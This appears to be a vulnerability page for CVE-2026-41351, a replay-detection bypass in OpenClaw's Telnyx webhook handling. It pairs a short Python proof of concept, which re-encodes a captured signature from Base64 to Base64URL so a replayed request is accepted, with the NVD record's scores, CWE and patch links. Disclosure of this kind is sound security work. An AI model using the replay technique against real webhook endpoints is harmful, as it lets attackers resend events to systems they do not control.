CVE-2026-41351

import base64 import requests def base64_to_base64url(b64_str): # Replace '+' with '-', '/' with '_', and remove trailing '=' b64url_str = b64_str.replace('+', '-').replace('/', '_').rstrip('=') return b64url_str # Example: Intercepted valid webhook payload and signature # Assuming the signature is Base64 encoded in the header 'Telnyx-Signature-Ed25519' target_url = "http://target-openclaw-instance/webhook endpoint" original_signature = "dGVzdHNpZ25hdHVyZWRhdGE=" headers = { "Content-Type": "application/json", "Telnyx-Signature-Ed25519": original_signature } payload = "{\"data\": \"example\"}" print(f"[+] Sending original request with signature: {original_signature}") # requests.post(target_url, json=payload, headers=headers) # Exploit: Convert Base64 to Base64URL to bypass replay detection modified_signature = base64_to_base64url(original_signature) headers["Telnyx-Signature-Ed25519"] = modified_signature print(f"[+] Sending replayed request with modified signature: {modified_signature}") # requests.post(target_url, json=payload, headers=headers) # The server treats the modified signature as a new request due to string mismatch, # but verifies it successfully because it decodes to the same bytes.

{"cve": {"id": "CVE-2026-41351", "sourceIdentifier": "[email protected]", "published": "2026-04-23T22:16:42.160", "lastModified": "2026-04-28T18:56:43.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.31 contains a replay detection bypass vulnerability in webhook signature handling that treats Base64 and Base64URL encoded signatures as distinct requests. Attackers can re-encode Telnyx webhook signatures to bypass replay detection while maintaining valid signature verification."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-294"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.31", "matchCriteriaId": "35B1FB5C-EA5A-4095-9226-F947A9B3B984"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/ad77666054651c1fd77b1dc60fd6a8db6600a29a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-37v6-fxx8-xjmx", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-webhook-replay-detection-bypass-via-base64-signature-re-encoding", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}